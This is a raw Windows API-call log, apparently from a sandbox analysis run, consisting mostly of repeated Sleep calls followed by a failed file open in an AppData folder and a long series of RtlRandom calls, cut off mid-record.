Sleep (dwMilliseconds=0x258) [0263.879] Sleep (dwMilliseconds=0x258) [0263.883] Sleep (dwMilliseconds=0x258) [0263.884] Sleep (dwMilliseconds=0x258) [0263.954] Sleep (dwMilliseconds=0x258) [0263.956] Sleep (dwMilliseconds=0x258) [0263.997] Sleep (dwMilliseconds=0x258) [0263.999] Sleep (dwMilliseconds=0x258) [0264.000] Sleep (dwMilliseconds=0x258) [0264.002] Sleep (dwMilliseconds=0x258) [0264.003] Sleep (dwMilliseconds=0x258) [0264.005] Sleep (dwMilliseconds=0x258) [0264.006] Sleep (dwMilliseconds=0x258) [0264.008] Sleep (dwMilliseconds=0x258) [0264.009] Sleep (dwMilliseconds=0x258) [0264.011] Sleep (dwMilliseconds=0x258) [0264.012] Sleep (dwMilliseconds=0x258) [0264.014] Sleep (dwMilliseconds=0x258) [0264.017] Sleep (dwMilliseconds=0x258) [0264.019] Sleep (dwMilliseconds=0x258) [0264.020] Sleep (dwMilliseconds=0x258) [0264.039] Sleep (dwMilliseconds=0x258) [0264.168] Sleep (dwMilliseconds=0x258) [0264.170] Sleep (dwMilliseconds=0x258) [0264.172] Sleep (dwMilliseconds=0x258) [0264.185] Sleep (dwMilliseconds=0x258) [0264.186] Sleep (dwMilliseconds=0x258) [0264.187] Sleep (dwMilliseconds=0x258) [0264.189] Sleep (dwMilliseconds=0x258) [0264.190] Sleep (dwMilliseconds=0x258) [0264.192] Sleep (dwMilliseconds=0x258) [0264.194] Sleep (dwMilliseconds=0x258) [0264.197] Sleep (dwMilliseconds=0x258) [0264.198] Sleep (dwMilliseconds=0x258) [0264.328] Sleep (dwMilliseconds=0x258) [0264.370] Sleep (dwMilliseconds=0x258) [0264.417] Sleep (dwMilliseconds=0x258) [0264.486] Sleep (dwMilliseconds=0x258) [0264.488] Sleep (dwMilliseconds=0x258) [0264.490] Sleep (dwMilliseconds=0x258) [0264.491] Sleep (dwMilliseconds=0x258) [0264.493] Sleep (dwMilliseconds=0x258) [0264.494] Sleep (dwMilliseconds=0x258) [0264.496] Sleep (dwMilliseconds=0x258) [0264.497] Sleep (dwMilliseconds=0x258) [0264.499] Sleep (dwMilliseconds=0x258) [0264.501] Sleep (dwMilliseconds=0x258) [0264.503] Sleep (dwMilliseconds=0x258) [0264.504] Sleep (dwMilliseconds=0x258) [0264.507] Sleep (dwMilliseconds=0x258) [0264.509] Sleep (dwMilliseconds=0x258) [0264.510] Sleep (dwMilliseconds=0x258) [0264.512] Sleep (dwMilliseconds=0x258) [0264.513] Sleep (dwMilliseconds=0x258) [0264.515] Sleep (dwMilliseconds=0x258) [0264.516] Sleep (dwMilliseconds=0x258) [0264.629] Sleep (dwMilliseconds=0x258) [0264.630] Sleep (dwMilliseconds=0x258) [0264.632] Sleep (dwMilliseconds=0x258) [0264.633] Sleep (dwMilliseconds=0x258) [0264.635] Sleep (dwMilliseconds=0x258) [0264.637] Sleep (dwMilliseconds=0x258) [0264.638] Sleep (dwMilliseconds=0x258) [0264.640] Sleep (dwMilliseconds=0x258) [0264.641] Sleep (dwMilliseconds=0x258) [0264.643] Sleep (dwMilliseconds=0x258) [0264.644] Sleep (dwMilliseconds=0x258) [0264.646] Sleep (dwMilliseconds=0x258) [0264.647] Sleep (dwMilliseconds=0x258) [0264.649] Sleep (dwMilliseconds=0x258) [0264.650] Sleep (dwMilliseconds=0x258) [0264.652] Sleep (dwMilliseconds=0x258) [0264.653] Sleep (dwMilliseconds=0x258) [0264.658] Sleep (dwMilliseconds=0x258) [0264.853] Sleep (dwMilliseconds=0x258) [0264.854] Sleep (dwMilliseconds=0x258) [0264.856] Sleep (dwMilliseconds=0x258) [0264.871] Sleep (dwMilliseconds=0x258) [0264.872] Sleep (dwMilliseconds=0x258) [0264.875] Sleep (dwMilliseconds=0x258) [0264.877] Sleep (dwMilliseconds=0x258) [0264.880] Sleep (dwMilliseconds=0x258) [0264.895] Sleep (dwMilliseconds=0x258) [0265.007] Sleep (dwMilliseconds=0x258) [0265.009] Sleep (dwMilliseconds=0x258) [0265.010] Sleep (dwMilliseconds=0x258) [0265.012] Sleep (dwMilliseconds=0x258) [0265.013] Sleep (dwMilliseconds=0x258) [0265.015] Sleep (dwMilliseconds=0x258) [0265.016] Sleep (dwMilliseconds=0x258) [0265.019] Sleep (dwMilliseconds=0x258) [0265.021] Sleep (dwMilliseconds=0x258) [0265.022] Sleep (dwMilliseconds=0x258) [0265.024] Sleep (dwMilliseconds=0x258) [0265.025] Sleep (dwMilliseconds=0x258) [0265.027] Sleep (dwMilliseconds=0x258) [0265.029] Sleep (dwMilliseconds=0x258) [0265.030] Sleep (dwMilliseconds=0x258) [0265.032] Sleep (dwMilliseconds=0x258) [0265.033] Sleep (dwMilliseconds=0x258) [0265.035] Sleep (dwMilliseconds=0x258) [0265.036] Sleep (dwMilliseconds=0x258) [0265.146] Sleep (dwMilliseconds=0x258) [0265.147] Sleep (dwMilliseconds=0x258) [0265.149] Sleep (dwMilliseconds=0x258) [0265.151] Sleep (dwMilliseconds=0x258) [0265.156] Sleep (dwMilliseconds=0x258) [0265.173] Sleep (dwMilliseconds=0x258) [0265.174] Sleep (dwMilliseconds=0x258) [0265.176] Sleep (dwMilliseconds=0x258) [0265.249] Sleep (dwMilliseconds=0x258) [0265.290] Sleep (dwMilliseconds=0x258) [0265.291] Sleep (dwMilliseconds=0x258) [0265.293] Sleep (dwMilliseconds=0x258) [0265.294] Sleep (dwMilliseconds=0x258) [0265.296] Sleep (dwMilliseconds=0x258) [0265.297] Sleep (dwMilliseconds=0x258) [0265.299] Sleep (dwMilliseconds=0x258) [0265.300] Sleep (dwMilliseconds=0x258) [0265.302] Sleep (dwMilliseconds=0x258) [0265.303] Sleep (dwMilliseconds=0x258) [0265.305] Sleep (dwMilliseconds=0x258) [0265.306] Sleep (dwMilliseconds=0x258) [0265.308] Sleep (dwMilliseconds=0x258) [0265.310] Sleep (dwMilliseconds=0x258) [0265.311] Sleep (dwMilliseconds=0x258) [0265.314] Sleep (dwMilliseconds=0x258) [0265.316] Sleep (dwMilliseconds=0x258) [0265.317] Sleep (dwMilliseconds=0x258) [0265.461] Sleep (dwMilliseconds=0x258) [0265.462] Sleep (dwMilliseconds=0x258) [0265.464] Sleep (dwMilliseconds=0x258) [0265.465] Sleep (dwMilliseconds=0x258) [0265.467] Sleep (dwMilliseconds=0x258) [0265.471] Sleep (dwMilliseconds=0x258) [0265.475] Sleep (dwMilliseconds=0x258) [0265.486] Sleep (dwMilliseconds=0x258) [0265.496] Sleep (dwMilliseconds=0x258) [0265.609] Sleep (dwMilliseconds=0x258) [0265.621] Sleep (dwMilliseconds=0x258) [0265.630] Sleep (dwMilliseconds=0x258) [0265.640] Sleep (dwMilliseconds=0x258) [0265.666] Sleep (dwMilliseconds=0x258) [0265.674] Sleep (dwMilliseconds=0x258) [0265.758] Sleep (dwMilliseconds=0x258) [0265.767] Sleep (dwMilliseconds=0x258) [0265.799] Sleep (dwMilliseconds=0x258) [0265.914] Sleep (dwMilliseconds=0x258) [0265.915] Sleep (dwMilliseconds=0x258) [0265.917] Sleep (dwMilliseconds=0x258) [0265.919] Sleep (dwMilliseconds=0x258) [0265.921] Sleep (dwMilliseconds=0x258) [0265.925] Sleep (dwMilliseconds=0x258) [0265.928] Sleep (dwMilliseconds=0x258) [0265.930] Sleep (dwMilliseconds=0x258) [0265.932] Sleep (dwMilliseconds=0x258) [0265.933] Sleep (dwMilliseconds=0x258) [0265.935] Sleep (dwMilliseconds=0x258) [0265.936] Sleep (dwMilliseconds=0x258) [0266.098] Sleep (dwMilliseconds=0x258) [0266.153] Sleep (dwMilliseconds=0x258) [0266.154] Sleep (dwMilliseconds=0x258) [0266.235] Sleep (dwMilliseconds=0x258) [0266.237] Sleep (dwMilliseconds=0x258) [0266.238] Sleep (dwMilliseconds=0x258) [0266.240] Sleep (dwMilliseconds=0x258) [0266.242] Sleep (dwMilliseconds=0x258) [0266.244] Sleep (dwMilliseconds=0x258) [0266.246] Sleep (dwMilliseconds=0x258) [0266.247] Sleep (dwMilliseconds=0x258) [0266.249] Sleep (dwMilliseconds=0x258) [0266.250] Sleep (dwMilliseconds=0x258) [0266.252] Sleep (dwMilliseconds=0x258) [0266.253] Sleep (dwMilliseconds=0x258) [0266.257] Sleep (dwMilliseconds=0x258) [0266.258] Sleep (dwMilliseconds=0x258) [0266.260] Sleep (dwMilliseconds=0x258) [0266.261] Sleep (dwMilliseconds=0x258) [0266.263] Sleep (dwMilliseconds=0x258) [0266.264] Sleep (dwMilliseconds=0x258) [0266.430] Sleep (dwMilliseconds=0x258) [0266.432] Sleep (dwMilliseconds=0x258) [0266.433] Sleep (dwMilliseconds=0x258) [0266.435] Sleep (dwMilliseconds=0x258) [0266.445] Sleep (dwMilliseconds=0x258) [0266.449] Sleep (dwMilliseconds=0x258) [0266.452] Sleep (dwMilliseconds=0x258) [0266.456] Sleep (dwMilliseconds=0x258) [0266.458] Sleep (dwMilliseconds=0x258) [0266.459] Sleep (dwMilliseconds=0x258) [0266.568] Sleep (dwMilliseconds=0x258) [0266.577] Sleep (dwMilliseconds=0x258) [0266.587] Sleep (dwMilliseconds=0x258) [0266.595] Sleep (dwMilliseconds=0x258) [0266.605] Sleep (dwMilliseconds=0x258) [0266.616] Sleep (dwMilliseconds=0x258) [0266.625] Sleep (dwMilliseconds=0x258) [0266.729] Sleep (dwMilliseconds=0x258) [0266.730] Sleep (dwMilliseconds=0x258) [0266.732] Sleep (dwMilliseconds=0x258) [0266.734] Sleep (dwMilliseconds=0x258) [0266.735] Sleep (dwMilliseconds=0x258) [0266.736] Sleep (dwMilliseconds=0x258) [0266.738] Sleep (dwMilliseconds=0x258) [0266.739] Sleep (dwMilliseconds=0x258) [0266.741] Sleep (dwMilliseconds=0x258) [0266.757] Sleep (dwMilliseconds=0x258) [0266.759] Sleep (dwMilliseconds=0x258) [0266.877] Sleep (dwMilliseconds=0x258) [0266.878] Sleep (dwMilliseconds=0x258) [0266.880] Sleep (dwMilliseconds=0x258) [0266.881] Sleep (dwMilliseconds=0x258) [0266.883] Sleep (dwMilliseconds=0x258) [0266.885] Sleep (dwMilliseconds=0x258) [0266.886] Sleep (dwMilliseconds=0x258) [0266.887] Sleep (dwMilliseconds=0x258) [0266.889] Sleep (dwMilliseconds=0x258) [0266.893] Sleep (dwMilliseconds=0x258) [0266.895] Sleep (dwMilliseconds=0x258) [0266.896] Sleep (dwMilliseconds=0x258) [0266.898] Sleep (dwMilliseconds=0x258) [0266.899] Sleep (dwMilliseconds=0x258) [0266.900] Sleep (dwMilliseconds=0x258) [0266.902] Sleep (dwMilliseconds=0x258) [0266.903] Sleep (dwMilliseconds=0x258) [0266.905] Sleep (dwMilliseconds=0x258) [0266.907] Sleep (dwMilliseconds=0x258) [0266.978] Sleep (dwMilliseconds=0x258) [0267.023] Sleep (dwMilliseconds=0x258) [0267.025] Sleep (dwMilliseconds=0x258) [0267.026] Sleep (dwMilliseconds=0x258) [0267.028] Sleep (dwMilliseconds=0x258) [0267.029] Sleep (dwMilliseconds=0x258) [0267.031] Sleep (dwMilliseconds=0x258) [0267.032] Sleep (dwMilliseconds=0x258) [0267.034] Sleep (dwMilliseconds=0x258) [0267.035] Sleep (dwMilliseconds=0x258) [0267.037] Sleep (dwMilliseconds=0x258) [0267.038] Sleep (dwMilliseconds=0x258) [0267.040] Sleep (dwMilliseconds=0x258) [0267.041] Sleep (dwMilliseconds=0x258) [0267.043] Sleep (dwMilliseconds=0x258) [0267.044] Sleep (dwMilliseconds=0x258) [0267.046] Sleep (dwMilliseconds=0x258) [0267.047] Sleep (dwMilliseconds=0x258) [0267.051] Sleep (dwMilliseconds=0x258) [0267.054] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0x26) returned 0x9141840 [0267.054] CreateFileW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\wvhwbfa" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\wvhwbfa"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff [0267.054] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xb1172264 [0267.054] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0xe0) returned 0x91418d0 [0267.055] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xae2cfc02 [0267.055] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xf5355ff5 [0267.055] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x7a68c45 [0267.055] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x90dd7e87 [0267.055] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xdc41d395 [0267.055] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x949433ef [0267.055] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x7158d4b3 [0267.055] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x60f6af3d [0267.055] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xa5c32123 [0267.055] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xc8a61685 [0267.055] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xfbe4c530 [0267.055] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x7b1d1c86 [0267.055] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x84604741 [0267.055] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xff84b81b [0267.055] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xdd47f727 [0267.055] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xa5c155bb [0267.055] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x40cc0f68 [0267.055] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x686d6438 [0267.055] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x8590615e [0267.055] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x493de030 [0267.055] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xa297a2a5 [0267.055] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xf9394894 [0267.055] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xf7a28721 [0267.055] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xe30026ae [0267.055] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x9afa7157 [0267.055] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xe980f17 [0267.055] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xed721dee [0267.055] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x3a261b2c [0267.055] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xbd97a98f [0267.055] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xe235427c [0267.055] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x4a74180a [0267.055] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x7185321b [0267.055] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x3c4947af [0267.055] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x6f3c79e0 [0267.055] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x35bed2c9 [0267.055] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x12dc1666 [0267.056] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xa1456836 [0267.056] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xac708939 [0267.056] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xd38415f1 [0267.056] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xaedbd16d [0267.056] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xece27a07 [0267.056] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x1085fb41 [0267.056] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x57f082be [0267.056] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xde54b34d [0267.056] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xe195d865 [0267.056] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x25137193 [0267.056] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x4a15debe [0267.056] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x60446630 [0267.056] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x1b2c157b [0267.056] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x3df6c058 [0267.056] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x88b6e1a4 [0267.056] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xd336f277 [0267.056] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xbe936cd6 [0267.056] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x8e3730b [0267.056] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xad489d4 [0267.056] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xbfecd6ef [0267.056] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xdf03c347 [0267.056] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x961bad9e [0267.056] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xf3c6eedd [0267.056] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xea4d75d8 [0267.056] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xc3fc48f5 [0267.056] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xfb1bd329 [0267.056] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xf2b1d3b0 [0267.056] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x6892957e [0267.056] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xfb6d51ef [0267.056] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x84b6adc4 [0267.056] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xd40d881c [0267.056] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xd19b2950 [0267.056] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x81212a19 [0267.056] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x47825be4 [0267.057] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x181d216c [0267.057] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x48bf1615 [0267.057] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x936b7e2c [0267.057] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xd1388a54 [0267.057] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x73b6d4ff [0267.057] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x3da614d9 [0267.057] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xf666a250 [0267.057] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xdd5d15cb [0267.057] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x52ae174a [0267.057] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x5f6aa98e [0267.057] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x968f9bca [0267.057] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xafeccec1 [0267.057] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x9ac7fdab [0267.057] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xa8e0b378 [0267.057] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x78e8a43d [0267.057] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x67e19a6 [0267.057] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xb6c90930 [0267.057] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xe1748523 [0267.057] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xa7fd07d4 [0267.057] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xe4f1b771 [0267.057] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xf605620e [0267.057] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x929283c9 [0267.057] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xe206fe84 [0267.057] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x52d18ae2 [0267.057] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x24f36465 [0267.057] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x228d8c8c [0267.057] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x2056c4f [0267.057] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xda2a355c [0267.057] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x5a3c0a90 [0267.057] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x8f8f572c [0267.057] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xa52b95cc [0267.057] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x9a1f6dcb [0267.057] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x52a2da66 [0267.057] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xea486600 [0267.057] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x75dae738 [0267.057] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xd6740ba4 [0267.058] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x6a4615e0 [0267.058] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x9324c6c0 [0267.058] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x32208de5 [0267.058] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xfb694a2d [0267.058] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x171698a0 [0267.058] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x3e652bef [0267.058] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x963dc1e4 [0267.058] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x769d0802 [0267.058] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x9642e4ed [0267.058] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xd720b5b1 [0267.058] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xbb8a15b8 [0267.058] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xe268d07f [0267.058] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x2881ee6 [0267.058] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x13db5931 [0267.058] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x162ac039 [0267.058] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xca66eb4b [0267.058] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x146d4727 [0267.058] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xbdc210cd [0267.058] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x31c2e7f7 [0267.058] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x2c3ec125 [0267.058] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x64af1ab2 [0267.058] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x46db28 [0267.058] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xdc8304d0 [0267.058] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x3e40db10 [0267.058] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x16038d78 [0267.058] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xbd1fdecd [0267.058] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xc7964e3d [0267.058] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x1fa95b81 [0267.058] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xfa9838e1 [0267.058] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x83a6699 [0267.058] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x1258005a [0267.058] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x75b5a019 [0267.058] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x756ecc5d [0267.058] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x7496201b [0267.058] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x6bf8b428 [0267.058] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xf4cb2082 [0267.059] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xc001ba74 [0267.059] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x96037f55 [0267.059] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xc25ccb7 [0267.059] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x62a9eb60 [0267.059] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xc315cf60 [0267.059] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x85b2ed4f [0267.059] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x704d4aab [0267.059] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xb2ca9e42 [0267.059] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x633d578f [0267.059] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x85bd9374 [0267.059] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xd76708f9 [0267.059] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xf81e8e7d [0267.059] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x6c2559ba [0267.059] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xca900325 [0267.059] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xe3017dbf [0267.059] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x3d4b770e [0267.059] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x8f47ef21 [0267.059] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xf89060c8 [0267.059] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xf2bc838a [0267.059] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xb35a9a4c [0267.059] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xc26d0712 [0267.059] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xa21cfa38 [0267.059] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x1e86435a [0267.059] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xaf79842c [0267.059] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x401416ab [0267.059] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x1278f793 [0267.059] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x5871fe85 [0267.059] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x25b40801 [0267.059] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xd8b7e743 [0267.059] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x1b0dd153 [0267.059] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x5ebfdd3b [0267.059] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xc8468c25 [0267.060] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x4aad1781 [0267.060] 